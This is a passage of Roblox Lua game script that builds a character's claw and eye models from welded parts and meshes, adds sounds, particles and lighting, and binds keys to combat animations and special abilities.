Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958))
2607
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2608
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964))
2609
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
2610
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2611
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885))
2612
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2613
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137))
2614
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
2615
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2616
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696))
2617
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2618
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073))
2619
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
2620
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2621
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183))
2622
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2623
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377))
2624
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2625
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329))
2626
Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
2627
Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636))
2628
mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
2629
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2630
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835))
2631
2632
local modelzorz3=Instance.new("Model") 
2633
modelzorz3.Parent=Character 
2634
modelzorz3.Name="Eye"
2635
2636
handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005))
2637
handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0))
2638
mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1))
2639
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
2640
Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
2641
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996))
2642
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
2643
Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
2644
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963))
2645
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(3.79999995, 4, 1.39999998))
2646
Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
2647
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039))
2648
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998))
2649
Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
2650
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039))
2651
Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
2652
Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752))
2653
Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
2654
Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1))
2655
Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
2656
Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702))
2657
Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
2658
Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537))
2659
local moosick = it("Sound",Character)
2660
moosick.SoundId = "rbxassetid://613035749"
2661
 --142653441, 175067863
2662
moosick.Looped = true
2663
moosick.Pitch = 0.9775
2664
moosick.Volume = 1.5
2665
moosick:Play()
2666
2667
anim = Character:findFirstChild("Animate")
2668
if anim then
2669
anim:Destroy()
2670
end
2671
2672
local particleemitter = Instance.new("ParticleEmitter", Handle)
2673
particleemitter.VelocitySpread = 180
2674
particleemitter.Lifetime = NumberRange.new(0.1)
2675
particleemitter.Speed = NumberRange.new(2)
2676
particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
2677
particleemitter.RotSpeed = NumberRange.new(-45, 45)
2678
particleemitter.Rate = 100
2679
particleemitter.Rotation = NumberRange.new(-45, 45)
2680
particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
2681
particleemitter.LightEmission = 0.8
2682
particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
2683
2684
local particleemitter = Instance.new("ParticleEmitter", Handle2)
2685
particleemitter.VelocitySpread = 180
2686
particleemitter.Lifetime = NumberRange.new(0.1)
2687
particleemitter.Speed = NumberRange.new(2)
2688
particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
2689
particleemitter.RotSpeed = NumberRange.new(-45, 45)
2690
particleemitter.Rate = 100
2691
particleemitter.Rotation = NumberRange.new(-45, 45)
2692
particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
2693
particleemitter.LightEmission = 0.8
2694
particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
2695
2696
local particleemitter = Instance.new("ParticleEmitter", handle)
2697
particleemitter.VelocitySpread = 180
2698
particleemitter.Lifetime = NumberRange.new(0.1)
2699
particleemitter.Speed = NumberRange.new(2)
2700
particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)})
2701
particleemitter.RotSpeed = NumberRange.new(-45, 45)
2702
particleemitter.Rate = 100
2703
particleemitter.Rotation = NumberRange.new(-45, 45)
2704
particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
2705
particleemitter.LightEmission = 0.8
2706
particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
2707
2708
local light = Instance.new("PointLight", Character.Torso)
2709
light.Color = Color3.new(255,255,255)
2710
light.Brightness = 5
2711
light.Range = 15
2712
2713
particleemitter.Enabled = true
2714
2715
local Footsteps = it("Sound",Character.Torso)
2716
Footsteps.SoundId = "rbxassetid://142665235"
2717
Footsteps.Looped = true
2718
Footsteps.Pitch = 0.8
2719
Footsteps.Volume = 0.3
2720
2721
local Footsteps2 = it("Sound",Character.Torso)
2722
Footsteps2.SoundId = "rbxassetid://142665235"
2723
Footsteps2.Looped = true
2724
Footsteps2.Pitch = 1
2725
Footsteps2.Volume = 0.4
2726
2727
local cam = game.Workspace.CurrentCamera
2728
2729
--cam.CameraSubject = Character
2730
2731
for i,v in pairs(Head:children()) do
2732
    if v:IsA("Sound") then
2733
        v:Destroy()
2734
    end
2735
end
2736
2737
mouse.Button1Down:connect(function()
2738
        if attack==false and attacktype==1 then
2739
                attacktype=2
2740
                attackone()
2741
        elseif attack==false and attacktype==2 then
2742
                attacktype=3
2743
                attacktwo()
2744
		elseif attack==false and attacktype==3 then
2745
				attacktype=4
2746
				attackthree()
2747
		elseif attack==false and attacktype==4 then
2748
				attacktype=1
2749
				attackfour()
2750
        end
2751
end)
2752
2753
mouse.KeyDown:connect(function(k)
2754
	k=k:lower()
2755
	if k=='e' then
2756
		if attack==false and mana>=20 then
2757
			Push()
2758
		end
2759
		elseif k=='g' then
2760
		if attack==false and mana>=50 then
2761
			Twirl()
2762
		end
2763
		elseif k=='v' then
2764
		if attack==false and mana>=25 then
2765
			MagicJump()
2766
		end
2767
		elseif k=='c' then
2768
	if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
2769
    attack=true
2770
        for i = 1, 40 do
2771
          swait()
2772
          Neck.C0 = clerp(Neck.C0, necko * euler(-0.5, 0, 0), 0.1)
2773
          RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, 0) * euler(0, 0, 0), 0.1)
2774
          RW.C0 = clerp(RW.C0, cf(1.3, 1, 0) * euler(2.5, 0, 0) * euler(0, 0, 0.4), 0.1)
2775
          RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
2776
          LW.C0 = clerp(LW.C0, cf(-1.3, 0.5, 0) * euler(0.6, 0, 0) * euler(0, 0, -0.5), 0.1)
2777
          LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
2778
          RH.C0 = clerp(RH.C0, cf(1, -1, 0) * euler(0, 0, 0.1) * euler(0, math.pi / 2, 0), 0.1)
2779
          LH.C0 = clerp(LH.C0, cf(-1, -1, 0) * euler(0, 0, -0.1) * euler(0, -math.pi / 2, 0), 0.1)
2780
        end
2781
			Blaze()
2782
attack = false
2783
end
2784
		elseif k=='x' then
2785
	if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
2786
    attack=true
2787
        for i = 1, 15 do
2788
          swait()
2789
          Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3)
2790
          RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35)
2791
          RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35)
2792
          RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
2793
          LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35)
2794
          LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
2795
          RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35)
2796
          LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35)
2797
        end
2798
so("http://www.roblox.com/asset/?id=163619849",workspace,2.5,0.35)
2799
so("http://www.roblox.com/asset/?id=299058146",workspace,2.5,0.65)
2800
for i = 0, 30 do
2801
	BlastEffect(BrickColor.new("Really black"),cf(tors.Position) * euler(0, math.random(-50, 50), 0) ,.9,5,.9,5,0.2,5)
2802
wait(0.1)
2803
end
2804
local parteffected = Instance.new("Part",tors)
2805
parteffected.Transparency = 1
2806
parteffected.Position = tors.Position
2807
parteffected.CanCollide = false
2808
parteffected.Anchored = true
2809
so("http://www.roblox.com/asset/?id=153832545",workspace,0.5,0.5)
2810
so("http://www.roblox.com/asset/?id=165970126",workspace,1,0.4)
2811
BlastEffect(BrickColor.new("Really black"),cf(parteffected.Position) * euler(0, math.random(-50, 50), 0),.9,.9,.9,15,5,15)
2812
MagicCircle(BrickColor.new("Really black"),cf(parteffected.Position),5,5,5,15,15,15,0.05)
2813
MagicCircle(BrickColor.new("Really black"),cf(parteffected.Position),5,5,5,22.5,22.5,22.5,0.05)
2814
BlastEffect(BrickColor.new("Really black"),cf(parteffected.Position) * euler(0, math.random(-50, 50), 0),.9,25,.9,30,5,30)
2815
        local sbs = Instance.new("BodyPosition", RootPart)
2816
        sbs.P = 3000
2817
        sbs.D = 1000
2818
        sbs.maxForce = Vector3.new(500000, 500000000, 500000)
2819
        sbs.position = RootPart.CFrame.p + Vector3.new(0, 2000, 0)
2820
        for i = 1, 40 do
2821
          swait()
2822
          Neck.C0 = clerp(Neck.C0, necko * euler(-0.5, 0, 0), 0.1)
2823
          RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, 0) * euler(0, 0, 0), 0.1)
2824
          RW.C0 = clerp(RW.C0, cf(1.3, 1, 0) * euler(2.5, 0, 0) * euler(0, 0, 0.4), 0.1)
2825
          RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
2826
          LW.C0 = clerp(LW.C0, cf(-1.3, 0.5, 0) * euler(0.6, 0, 0) * euler(0, 0, -0.5), 0.1)
2827
          LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
2828
          RH.C0 = clerp(RH.C0, cf(1, -1, 0) * euler(0, 0, 0.1) * euler(0, math.pi / 2, 0), 0.1)
2829
          LH.C0 = clerp(LH.C0, cf(-1, -1, 0) * euler(0, 0, -0.1) * euler(0, -math.pi / 2, 0), 0.1)
2830
        end
2831
wait(3)
2832
			Blaze2()
2833
attack = false
2834
parteffected:Destroy()
2835
sbs:Destroy()
2836
end
2837
		elseif k=='q' then
2838
		if attack==false then
2839
		idle=1000
2840
		end
2841
		elseif k=='h' then
2842
		if attack==false then
2843
		mana=100
2844
		end
2845
		elseif k=='y' then
2846
		if attack==false and mana>=100 then
2847
			Shred()
2848
		end
2849
		elseif k=='f' then
2850
		if attack==false and mana>=40 then
2851
			Spin()
2852
		end
2853
		elseif k=='r' then
2854
		if attack==false and mana>=20 then
2855
			Clap()
2856
		end
2857
		elseif k=='t' then
2858
		if attack==false then
2859
			Hai()
2860
		end
2861
		elseif k=='0' then
2862
		if attack==false then
2863
			Humanoid.WalkSpeed=(24)
2864
		end
2865
		elseif k=='j' then
2866
		if attack==false then
2867
			Humanoid.Health = 10
2868
			print("Congrats, you commited suicide.")
2869
		end
2870
	end
2871
end)
2872
2873
mouse.KeyDown:connect(function(k)
2874
if k == "z" and Ultramode == false then
2875
if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
2876
                attack = true
2877
        for i = 1, 15 do
2878
          swait()
2879
          Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3)
2880
          RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35)
2881
          RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35)
2882
          RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
2883
          LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35)
2884
          LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
2885
          RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35)
2886
          LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35)
2887
        end
2888
m:Destroy()
2889
local m = Instance.new("Model", Character)
2890
m.Name = "WeaponModel"
2891
local parta = Instance.new("Part",Character)
2892
  parta.Size = vt(10,10,10)
2893
  parta.BrickColor = BrickColor.new("Really black")
2894
  parta.Material = "Neon"
2895
  parta.Shape = "Ball"
2896
  parta.Transparency = 0
2897
  parta.Anchored = true
2898
  parta.CanCollide = false
2899
  parta.CFrame = tors.CFrame
2900
                Transform()
2901
parta:Destroy()
2902
2903
local modelzorzz=Instance.new("Model") 
2904
modelzorzz.Parent=Character 
2905
modelzorzz.Name="Claw1"
2906
2907
Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3))
2908
Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963))
2909
mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
2910
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2911
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906))
2912
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2913
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862))
2914
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
2915
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2916
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996))
2917
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2918
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459))
2919
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2920
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592))
2921
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2922
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537))
2923
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2924
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266))
2925
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2926
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906))
2927
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2928
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265))
2929
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2930
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829))
2931
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2932
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562))
2933
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
2934
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2935
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682))
2936
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2937
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805))
2938
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
2939
Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
2940
